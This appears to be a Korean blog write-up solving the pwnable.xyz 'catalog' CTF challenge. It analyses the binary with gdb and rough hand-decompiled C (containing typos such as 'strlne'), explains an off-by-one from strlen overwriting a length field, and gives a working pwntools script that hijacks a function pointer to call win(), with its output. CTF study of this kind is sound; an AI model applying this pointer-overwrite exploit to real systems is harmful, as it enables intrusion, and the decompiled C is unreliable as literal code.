pwnable.xyz 26번째 catalog 문제이다.

 

 

 


Analyze

 

문제의 바이너리에 사용자 정의 함수를 보면 아래와 같다.

ubuntu:~/environment/ctf/pwnable.xyz/26_catalog $ func challenge
__libc_csu_fini
__libc_csu_init
_fini
_init
_start
edit_name
handler
main
print_menu
print_name
read_int32
setup
win
write_name

 

gdb로 바이너리를 분석하여 c로 나타내면 아래와 같다.

/*

gdb-peda$ x/50gx 0x0000000000602280
0x602280 <catalog>:     0x0000000000603260      0x0000000000000000
0x602290 <catalog+16>:  0x0000000000000000      0x0000000000000000
0x6022a0 <catalog+32>:  0x0000000000000000      0x0000000000000000
0x6022b0 <catalog+48>:  0x0000000000000000      0x0000000000000000
0x6022c0 <catalog+64>:  0x0000000000000000      0x0000000000000000
0x6022d0 <catalog+80>:  0x0000000000000000      0x0000000000000000
0x6022e0 <catalog+96>:  0x0000000000000000      0x0000000000000000
0x6022f0 <catalog+112>: 0x0000000000000000      0x0000000000000000
0x602300 <catalog+128>: 0x0000000000000000      0x0000000000000000
0x602310 <catalog+144>: 0x0000000000000000      0x0000000000000000

gdb-peda$ x/20gx 0x0000000000603260
0x603260:       0x0000000a41414141      0x0000000000000000
0x603270:       0x0000000000000000      0x0000000000000000
0x603280:       0x0000000000000005      0x00000000004009b6
0x603290:       0x0000000000000000      0x0000000000020d71

*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void print_menu(){
    printf("Menu:\n 1. Write name\n 2. Edit name\n 3. Print name\n 0. Exit\n> ");
}

void write_name(){
    long *addr = malloc(0x30);   // rbp-0x8
    
    int count = 0;  // rbp - 0xc
    for(;;count++){
        if(!catalog[count*8])
            break;
    }
    
    catalog[count * 8] = *addr;
    *(*addr + 0x28) = &print_name();
    *(*addr + 0x20) = 0x20;
    
    edit_name(*addr);
    int len = strlne(*addr);
    *(*addr + 0x20) = len;
}

void edit_name(long *addr){
    printf("name: ");
    read(0, *addr, (*addr + 0x20));
}

int read_int32(){
    read(0, rbp-0x20, 0x10);
    return atoi(rbp-0x20);
}

void print_name(long *addr){
    printf("name: %s\n", *addr);
}

int main(){
    while(1){
        print_menu();
        int select = read_int32(); // rbp-0xc
        
        if(select == 1)
            write_name();
        else if(select == 2){
            int count = 0;
            
            for(;;count++){
                if(!catalog[count*8])
                    break;
            }
            
            printf("index: ");
            int index = read_int32(); // rbp - 0x8
            
            if(0 <= index && index < count)
                edit_name(catalog[index * 8]);
            else
                puts("Invalid index");
        }
        else if(select == 3){
            int count = 0;
            
            for(;;count++){
                if(!catalog[count*8])
                    break;
            }
            printf("index: ");
            int index = read_int32(); // rbp - 0x4
            
            if(0 <= index && index < count){
                long tmp = *(catalog[index * 8] + 0x28);
                tmp(catalog[tmp * 8]);
            }
                
            else
                puts("Invalid index");
        }
        else if(seelct == 0)
            break;
        else
            puts("Invalid");
    }
}

 

 

 

위 c코드에서 write_name() 함수와 edit_name() 함수에서 로직 에러가 발생한다.

 

 

 

write_name() 함수가 호출이 되면 기본으로 0x20 만큼 사용자 이름을 입력받게 된다.

void write_name(){
    long *addr = malloc(0x30);   // rbp-0x8
    
    int count = 0;  // rbp - 0xc
    for(;;count++){
        if(!catalog[count*8])
            break;
    }
    
    catalog[count * 8] = *addr;
    *(*addr + 0x28) = &print_name();
    *(*addr + 0x20) = 0x20;
    
    edit_name(*addr);
    int len = strlne(*addr);
    *(*addr + 0x20) = len;
}

이때의 메모리 구조는 아래와 같다.

빨간색은 처음 사용자가 입력 할 수 있는 공간이고, 노란색은 처음으로 입력 가능한 길이(0x20) 이다.

이름 입력 전 메모리 값

 

 

그 후 strlen() 함수가 호출 되기 전에는 사용자가 입력한 이름 값만 들어가 있고,

입력 가능한 길이는 변하지 않았다.

 

(strlen 함수 호출 전) 입력 후 메모리 값

 

 

strlen() 함수 호출이 되서야 사용자가 입력 가능한 길이가 바뀌었다. (0x5)

strlen 함수 호출 후 입력 가능한 값 변경

 

여기서 로직 에러가 발생하게 된다.

만약 사용자가 0x20 만큼 입력한 뒤, strlen() 함수가 호출 되면 return 값은 0x21이 되어 버린다.

즉 사용자가 입력 가능한 값이 0x1 만큼 증가했다.

입력 가능 값이 늘어간 사진

 

이때, edit_name() 함수를 호출하면 사용자는 0x21 만큼 입력이 가능하다.

void edit_name(long *addr){
    printf("name: ");
    read(0, *addr, (*addr + 0x20));
}

따라서 마지막 값을 원하는 길이로 맞추면 print_name() 함수의 주소를 win() 함수로 바꿀수 있게 된다.

 

 


Payload

from pwn import *

p = remote("svc.pwnable.xyz", 30023)
e = ELF("./challenge", checksec=False)


p.sendlineafter("> ", "1")
p.sendafter("name: ", "A"*0x20)

p.sendlineafter("> ", "2")
p.sendlineafter("index: ", "0")
p.sendafter("name: ", "A"*0x20 + '\x30')

p.sendlineafter("> ", "2")
p.sendlineafter("index: ", "0")
p.sendafter("name: ", "A"*0x28 + p32(e.symbols["win"]))

p.sendlineafter("> ", "3")
p.sendlineafter("index: ", "0")

p.interactive()
ubuntu:~/environment/ctf/pwnable.xyz/26_catalog $ python poc.py 
[+] Opening connection to svc.pwnable.xyz on port 30023: Done
[*] Switching to interactive mode
FLAG{----------------------}Menu:
 1. Write name
 2. Edit name
 3. Print name
 0. Exit
> $ 
[*] Closed connection to svc.pwnable.xyz port 30023

 

 

 

'CTF > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] badayum write up  (0) 2020.03.10
[pwnable.xyz] Hero Factory write up  (0) 2020.03.10
[pwnable.xyz] catalog write up  (0) 2020.02.28
[pwnable.xyz] message write up  (0) 2020.02.25
[pwnable.xyz] rwsr write up  (0) 2020.02.25
[pwnable.xyz] bookmark write up  (0) 2020.02.25